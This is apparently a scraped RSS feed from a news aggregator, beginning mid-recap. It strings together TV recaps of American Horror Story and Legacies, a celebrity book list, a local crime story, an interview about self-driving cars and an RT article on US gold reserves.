bro!”)

But first things first: Before he could bring about the apocalypse, Michael needed — or at least wanted — to rid himself of those pesky witches, which he did. And brutally, might I add. With Dinah’s help, Michael and Mead broke through Cordelia’s protection spell and gunned down nearly everyone at Miss Robichaux’s Academy for Exceptional Young Ladies, save for Cordelia, Myrtle and Mallory. The trio barely managed escaped to Misty’s cozy swamp shack, where they rendezvoused with Madison and Coco. (You know, just in case any of the survivors were curious about the gluten content of their next meal.)

The sudden massacre of her sisters inspired Madison to (finally!) reveal what she learned at the Murder House, that Michael possesses the ability to destroy souls, which explains why Cordelia wasn’t able to revive them. This apparently left the coven with but one option: time travel! Myrtle hypothesized that, given Mallory’s ability to heal animals and reverse their aging process, she should also possess the ability to send her consciousness back in time. And what do you know, she did it!

American Horror Story: ApocalypseThe “dry run” to test Mallory’s abilities sent her back to 1918 Siberia, the night the Romanoff family was slaughtered by the Bolsheviks. And in a very Once Upon a Time-esque twist, it was revealed that Grand Duchess Anastasia — she of the animated musical masterpiece — was actually a witch. Her own abilities weren’t strong enough to save her family, but she was almost able to do it with Mallory’s help. (I said almost. When the poor witch finally regained consciousness in Misty’s bathroom, she was literally bleeding out of her eyes.)

Speaking of unsettling imagery, the episode ended with Michael claiming his authority over the Collective, then laying out his entire plan for the apocalypse, the Outposts, etc. (Frankly, I would have appreciated a nice PowerPoint presentation, but who am I to tell the Antichrist how to end the world, right?) And since Jeff and Mutt had their hand in all of this, they also got Venable a plum spot in the whole operation, which means we’re just a few earth-shattering missiles away from being back to the season premiere — and not a moment too soon, considering there’s only one episode left.

Also worth discussing…

* I’m glad they finally explained Dinah’s connection to Michael, specifically that her talk show was a reward for helping him slaughter the other witches. I’ve been wondering about those two ever since their apparent reunion in the bowels of Outpost 3 earlier this season.

* Of all the Mallory theories we’ve collectively cooked up this season, have any of yours included elements of time travel? Mine sure haven’t.

Your thoughts on this week’s AHS: Apocalypse? Hopes and predictions for the season finale? Drop ’em all in a comment below.

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]]> https://briefnews.eu/american-horror-story-apocalypse-recap-so-thats-how-the-world-ends/feed/ 0 Legacies Recap: Let's Talk About the 'Stuff That's Not Supposed to Exist' https://briefnews.eu/legacies-recap-lets-talk-about-the-stuff-thats-not-supposed-to-exist/ https://briefnews.eu/legacies-recap-lets-talk-about-the-stuff-thats-not-supposed-to-exist/#respond Fri, 02 Nov 2018 09:52:42 +0000 http://briefnews.eu/legacies-recap-lets-talk-about-the-stuff-thats-not-supposed-to-exist/ We all have our dragons to slay in life — some more literal than others, as seen on Thursday’s Legacies. With Rafael by their side, because he’s apparently as hot-headed as he is regular-hot, Alaric and Hope went hunting for Landon “Must be Addressed by His Full Name at All Times” Kirby, discovering something even more dangerous (and scaley) in the process.

Locating Landon Kirby actually turned out to be the easiest part of the group’s mission; the brooding fugitive was hiding in a forest shack full of contraband, all of which he “doesn’t remember” stealing. (Sure, Jan.) But the situation became a little more complicated when a fire-breathing witch arrived on the scene looking for the knife. You know, the one Landon Kirby stole and lied about “losing.” (Is anyone else starting to feel like this guy is more trouble than he’s worth?)

Initially believed to be a “pyromancer,” the aforementioned fire-breathing witch eventually revealed herself to be a full-blown dragon — and she wasn’t going to slay herself. In lieu of “courage and a sword,” which is apparently the preferred method of dragon disposal in the Vampire Diaries-verse, Hope and the dagger would have to suffice… which they did not. And after Alaric was done cleaning up Hope’s mess, he called her out for bringing a death spell on their mission, one she was thinking of using on Landon Kirby.

“This hatred, this vengeance — it’s your father,” Alaric told Hope, warning that further use of black magic could very well destroy her. Fortunately, she won’t have to worry about using any more of it on Landon Kirby; while Hope and Alaric were busy fighting the dragon, he and Rafael took off. Again. And the whole experience clearly took a toll on Alaric, who ended the episode by wondering how he can continue protecting the students from “stuff that’s not supposed to exist.” Speaking of which… is that a gargoyle?

Legacies Recap

While their father was busy slaying dragons in the forest, Lizzie and Josie faced off against equally fearsome creatures: townies. Thursday’s episode marked the annual football game between the Salvatore Boarding School students and the god-awful swamp teens of Mystic Falls. Seriously, these kids are garbage. (Then again, Tyler Lockwood wasn’t exactly a peach in TVD‘s early days, either.)

The plan, as always, was to let the townies win and avoid raising suspicion about the Salvatore school, but that plan changed when a particularly nasty piece of work named Dana made a comment to Lizzie about being off her meds. Despite Josie’s strong objections, everyone started using their powers, narrowing the gap between scores considerably. But Josie was still determined to lose, using magic to sabotage Kaleb’s potentially game-winning catch, even after her fellow supernaturals agreed to stop using their powers.

But even though the Stallions lost, Lizzie still got to punch Dana in the face — while serving up a callback to TVD‘s “Not now, Dana!” — so it was like they won. Josie also came clean to Lizzie about throwing the game and doing black magic with Hope, a confession that brought them a little closer together. So, you know, it was also a win for sisterhood.

Also worth discussing…

* Are we supposed to dislike Penelope? Between her dialogue in the premiere (“I’m an equal-opportunity evil temptress”) and in this week’s episode (“The next time you burn your ex’s hair off, make sure she can’t work a lob”), I’m kind of loving her. She keeps things interesting.

* That said, I’m concerned about Penelope’s reason(s) for helping MG win over Lizzie. I can’t help but feel like it’s part of a larger revenge plan against Josie; as we learned this week when Lizzie puked black goop after Josie did black magic, their connection is strong.

* This episode had quite a few nods to both TVD and The Originals, but this shot was easily my favorite:

Legacies Recap

* How do we feel about that dragon? I knew Legacies would be introducing new creatures into the franchise, but I wasn’t expecting a literal flying, fire-breathing beast. I figured that “pyromancer” was as far as we’d go. I welcome the surprise, but I’m curious about what’s next. (I mean, when you start with a dragon, the possibilities are pretty much endless, right?)

Your thoughts on Thursday’s Legacies? Drop ’em in a comment below.

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]]> https://briefnews.eu/legacies-recap-lets-talk-about-the-stuff-thats-not-supposed-to-exist/feed/ 0 The Sealander is a camper that's also a boat https://briefnews.eu/the-sealander-is-a-camper-thats-also-a-boat/ https://briefnews.eu/the-sealander-is-a-camper-thats-also-a-boat/#respond Thu, 23 Aug 2018 08:51:02 +0000 http://briefnews.eu/the-sealander-is-a-camper-thats-also-a-boat/ [unable to retrieve full-text content]

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The Sealander is a camper that’s also a boat originally appeared on Autoblog on Wed, 22 Aug 2018 19:01:00 EDT. Please see our terms for use of feeds.

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]]> https://briefnews.eu/the-sealander-is-a-camper-thats-also-a-boat/feed/ 0 How to find a car that's perfect for audiophiles https://briefnews.eu/how-to-find-a-car-thats-perfect-for-audiophiles/ https://briefnews.eu/how-to-find-a-car-thats-perfect-for-audiophiles/#respond Sat, 02 Jun 2018 12:49:48 +0000 http://briefnews.eu/how-to-find-a-car-thats-perfect-for-audiophiles/ Autoblog ist jetzt Teil der Oath-Familie.
Nach EU-Datenschutzgesetzen benötigen wir (Oath), unsere Anbieter und Partner Ihre Einwilligung, um auf Ihrem Gerät Cookies zu speichern, um Ihre Such-, Standort- und Browsing-Daten zu verwenden, Ihre Interessen zu verstehen und Anzeigen auf unseren Produkten zu personalisieren und zu messen.

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]]> https://briefnews.eu/how-to-find-a-car-thats-perfect-for-audiophiles/feed/ 0 Carol Smillie: My six best books – Don't let go and Clarice Bean, That's Me https://briefnews.eu/carol-smillie-my-six-best-books-dont-let-go-and-clarice-bean-thats-me/ https://briefnews.eu/carol-smillie-my-six-best-books-dont-let-go-and-clarice-bean-thats-me/#respond Fri, 30 Mar 2018 00:01:20 +0000 http://briefnews.eu/carol-smillie-my-six-best-books-dont-let-go-and-clarice-bean-thats-me/

Out of print I met Beverly many years ago when I was filming Hearts Of Gold.

It’s the story of how she went to work in a Romanian orphanage and ended up adopting one of the children, who had spent his early years with his legs tied around his neck so it was easier to wipe his bottom.

A profound read as I was very pregnant at the time.

CLARICE BEAN, THAT’S ME by Lauren Child Orchard, £6.99

I love the illustrations and clever way these books are written.

In this Clarice talks about how her brother lies in bed all day because his mother says he’s in the dark tunnel of adolescence.

For a parent reading it, it’s hilarious.

DON’T LET GO by Harlan Coben Century, £20

I have read almost all his books.

I’m a holiday reader and I know I’m going to be gripped from the first page. I love a good murder and you never know whodunnit until the last pages.

I DON’T KNOW HOW SHE DOES IT by Allison Pearson, Vintage, £8.99

I annoyed everyone when I was reading this because of my constant giggling.

It’s about bringing up children while having a career. She talks about the “Muffia”: women at the school gates who make you feel inadequate because they’ve baked everything from scratch and whose kids’ projects look like something by Stephen Hawking.

BACKLASH by Lynda La Plante S&S, £7.99

She got me with Prime Suspect on TV in the 1990s.

This one has a girl disappearing and features detective Anna Travis.

People underestimate her because she looks like a girl but she’s as tough as old boots.

LIFE & LAUGHING by Michael McIntyre Penguin, £8.99

I bought this as an audiobook and played it in the car on long journeys.

We cried with laughter because his delivery brings it to life, from choosing the perfect paint colour for his office to his teenage fumblings trying to pull girls while looking like “a fat Jackie Chan”.

I love his simple observational humour.

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]]> https://briefnews.eu/carol-smillie-my-six-best-books-dont-let-go-and-clarice-bean-thats-me/feed/ 0 What's wrong with this picture? That's right, he's not wearing a helmet https://briefnews.eu/whats-wrong-with-this-picture-thats-right-hes-not-wearing-a-helmet/ https://briefnews.eu/whats-wrong-with-this-picture-thats-right-hes-not-wearing-a-helmet/#respond Tue, 27 Feb 2018 02:41:46 +0000 http://briefnews.eu/whats-wrong-with-this-picture-thats-right-hes-not-wearing-a-helmet/

It was a nice day yesterday in Kansas City, with a high of 54 degrees — pretty darned pleasant for K.C. in February. So one man celebrated the early signs of spring with a ride on an ATV. Naked. And what’s so wrong with that, you ask.

Well, where it went wrong is when police responded to a report of a “suspicious party … a naked male,” on an all-terrain vehicle. They encountered him in North Kansas City, then he cut across a field, took a few other turns, went this way and that, then found himself headed south on I-435 — in the shoulder of the northbound lanes.

The pale rider continued on, driving by the police academy for good measure, but was eventually caught near Cerner Corp. at the Missouri riverfront.

Today, the Kansas City Star reports that the man, Johnathon A. Menth, 27, of Excelsior Springs, gave a rather complex explanation to police for his actions — involving drugs, a man named Jeffrey who was “holding him captive,” an escape from Jeffrey via a PT Cruiser that then lost a wheel, and ultimately the discovery of the yellow Polaris ATV with keys in the ignition. He planned to ride it back home to Excelsior Springs when he encountered the police (Excelsior Springs, by the way, would have been a 16-mile ride while naked on an ATV, probably similar to the journey he wound up taking but it would have been on a much more nudity-friendly country two-lane). He said he was “freaked out and drove away,” was “in flight mode” and when he found himself against traffic on the interstate felt it “was like playing a little game, going around and flying.”

Menth said when he saw police everywhere, “he was flipping and could not stop.”

Nowhere in the newspaper’s detailed account is there an explanation for why he was naked. But he faces charges for the nudity, and for burglary, property tampering and property damage. He was being held on $ 50,000 bond.

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]]> https://briefnews.eu/whats-wrong-with-this-picture-thats-right-hes-not-wearing-a-helmet/feed/ 0 Aurora's Chris Urmson on autonomy — that's one way to avoid speeding tickets https://briefnews.eu/auroras-chris-urmson-on-autonomy-thats-one-way-to-avoid-speeding-tickets/ https://briefnews.eu/auroras-chris-urmson-on-autonomy-thats-one-way-to-avoid-speeding-tickets/#respond Thu, 18 Jan 2018 04:47:10 +0000 http://briefnews.eu/auroras-chris-urmson-on-autonomy-thats-one-way-to-avoid-speeding-tickets/

Although this year’s CES was full of companies announcing and exhibiting their real and conceivable self-driving car technologies, while actual self-driving cars from Aptiv-Lyft were giving conventioneers 400 rides around town, the biggest news came when Volkswagen Group — and recognize this is the entire group, not just the brand — and Hyundaiannounced that they’d both partnered with Aurora Innovation.

While the VW announcement was vague — “The collaboration brings the two companies together to realize self-driving electric vehicles in cities as Mobility-as-a-Service (MaaS) fleets” — Hyundai provided a concrete goal: “a strategic partnership to bring self-driving Hyundai vehicles to market by 2021.”

You may not have heard of Aurora, which has been described in some news accounts as “mysterious.” But Aurora Innovation has been in business since December 2016, and it is to autonomous technology what the 1927 Yankees are to baseball. The three leaders of the company are Chris Urmson, co-founder and CEO, who had previously been chief technology officer for Alphabet Self-Driving Cars; Sterling Anderson, co-founder and chief product officer, who had directed the development of Tesla Autopilot; and Drew Bagnell, co-founder and chief technical officer, who had been autonomy architect and perception lead at the Uber Advanced Technology Center.

We had the chance to sit down with Chris Urmson after he appeared onstage at a Hyundai press conference. He shared his insights on Aurora’s approach to automated driving.

Initial deployment of self-driving cars?

“We think the first place this technology comes to market in in the transportation services or ride-hailing applications, but that’s for our partners to decide.” (Ride-sharing is a strategy a lot of players in the field are shooting for, as round-the-clock use is one way for paying for what will initially be a technology too costly for private ownership.)

Transporting goods or people?

“I personally — and as a company — am more excited initially about moving people around. Urban mobility. That’s where you see the largest social impact. And it provides better access to mobility for people.”

Can you create a car that doesn’t crash?

“It is a fundamentally hard problem because other operators on the road can behave erratically at any moment. For example, if you are in a two-lane, opposing-traffic road, if you want to be safe, you don’t drive there, ever. The opposing traffic could at some point drift in the lane and at a late enough moment that you would be at an unavoidable collision state.”

The importance of vehicle-to-vehicle capability?

“I think V2V and V2X [vehicle-to-infrastructure] are interesting sensors. One of the challenges with V2V is that you don’t get any real value from it until you get significant deployment. … I don’t believe you need that technology to deploy self-driving vehicles.”

Teleoperation?

“We believe the actual driving intelligence has to reside on the vehicle. At the end of the day, you can’t afford to be in a communication dead spot.”

State of tech development?

“The software has a lot to be done. It’s not complete yet. And like any engineering problem, you can solve it in a variety of ways. There is room for improvement on the sensors. Cameras are in a very good place, and they continue to get better, pushed by the cellphone market. Automotive radar has been well established, but it feels like it is in a local minimum in that there may be some innovative things you could do with the same fundamental technology that would be more relevant for self-driving vehicles. Lidar is another element that has been under-explored, and there is an opportunity to do something exciting there.”

The fun of driving?

“It’s not to say that driving isn’t fun and can’t be fun. It’s that a lot of driving isn’t fun. At one point I had my fantasy about driving a nice sports car, but I realized there was really no point because I would just get speeding tickets.”

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]]> https://briefnews.eu/auroras-chris-urmson-on-autonomy-thats-one-way-to-avoid-speeding-tickets/feed/ 0 US gold of low purity & that's why audit of reserves will never be allowed – expert tells RT https://briefnews.eu/us-gold-of-low-purity-thats-why-audit-of-reserves-will-never-be-allowed-expert-tells-rt/ https://briefnews.eu/us-gold-of-low-purity-thats-why-audit-of-reserves-will-never-be-allowed-expert-tells-rt/#respond Sat, 30 Dec 2017 08:24:25 +0000 http://briefnews.eu/us-gold-of-low-purity-thats-why-audit-of-reserves-will-never-be-allowed-expert-tells-rt/ The United States doesn’t let anyone see its gold reserves. Even if the Treasury has the number of billions it claims, they are not tradable, warns Singapore’s BullionStar precious metals expert Ronan Manly.

The US government claims to hold 8133.5 tonnes of physical gold in its official reserves. Fifty-eight percent is reportedly held in Fort Knox, Kentucky, 20 percent at West Point in New York State, 16 percent is said to be at the US Mint in Denver, Colorado and five percent is held at the NY Fed.

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“The entire story around the US gold reserves is opaque and secretive. There has never been a full independent audit of the US gold reserves, and the custodians of the gold, the US Mint and the Federal Reserve of New York will not let anybody into the vaults to view the gold or to count it,”Manly told RT.

However, despite the numerous accusations against the US Treasury that it has much less gold than it claims, there is another reason, according to the expert – US gold is of bad quality.

“Even the details that have been provided on the supposed US gold holdings show that a majority of the gold bars are low purity and in weights that don’t conform to the industry standard ‘Good Delivery” gold bar specifications,” says Manly.

“So even if the US has the amount of gold it claims to have, most of this gold would not be acceptable for trading on the international market, and could only be used in swap transactions with other central banks that wished to swap Good Delivery gold bars for low purity and unusual weight US held gold bars,” he added.

READ MORE: Germany wants its gold back

If the claims about lower-than-claimed US gold reserves are true, it would re-shuffle the entire global economy, Manly predicts. Though it wouldn’t hit the US dollar directly, or result in an immediate shift away from using the US dollar for international trade, the consequences will be sizable.

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“Firstly, proof of lower US gold reserves than claimed would add pressure for a full independent audit of all US gold reserves. It would also put the spotlight on the gold reserves of other major trading blocs such as the eurozone and China and Russia, and open up a debate as to what is the role of gold in the international monetary system. Which is something the US government constantly tries to avoid,” the expert says.

“It would also then refocus attention on international holders of US dollars pre-August 1971 when Nixon closed the gold window because after all those outstanding dollars held at the time by foreign central banks are still technically convertible into gold at the official gold price of the time,” he added.

Moreover, if the US Treasury gold holdings are falsified, it would put additional pressure on other central banks around the world, which have gold in the United States.

A proper check of the US gold reserves should include weighing all gold bars, checking assays, and publishing a full weight list in the public domain; the audit would have to be conducted by an entirely independent auditor. It will never be allowed by Washington, Manly says.

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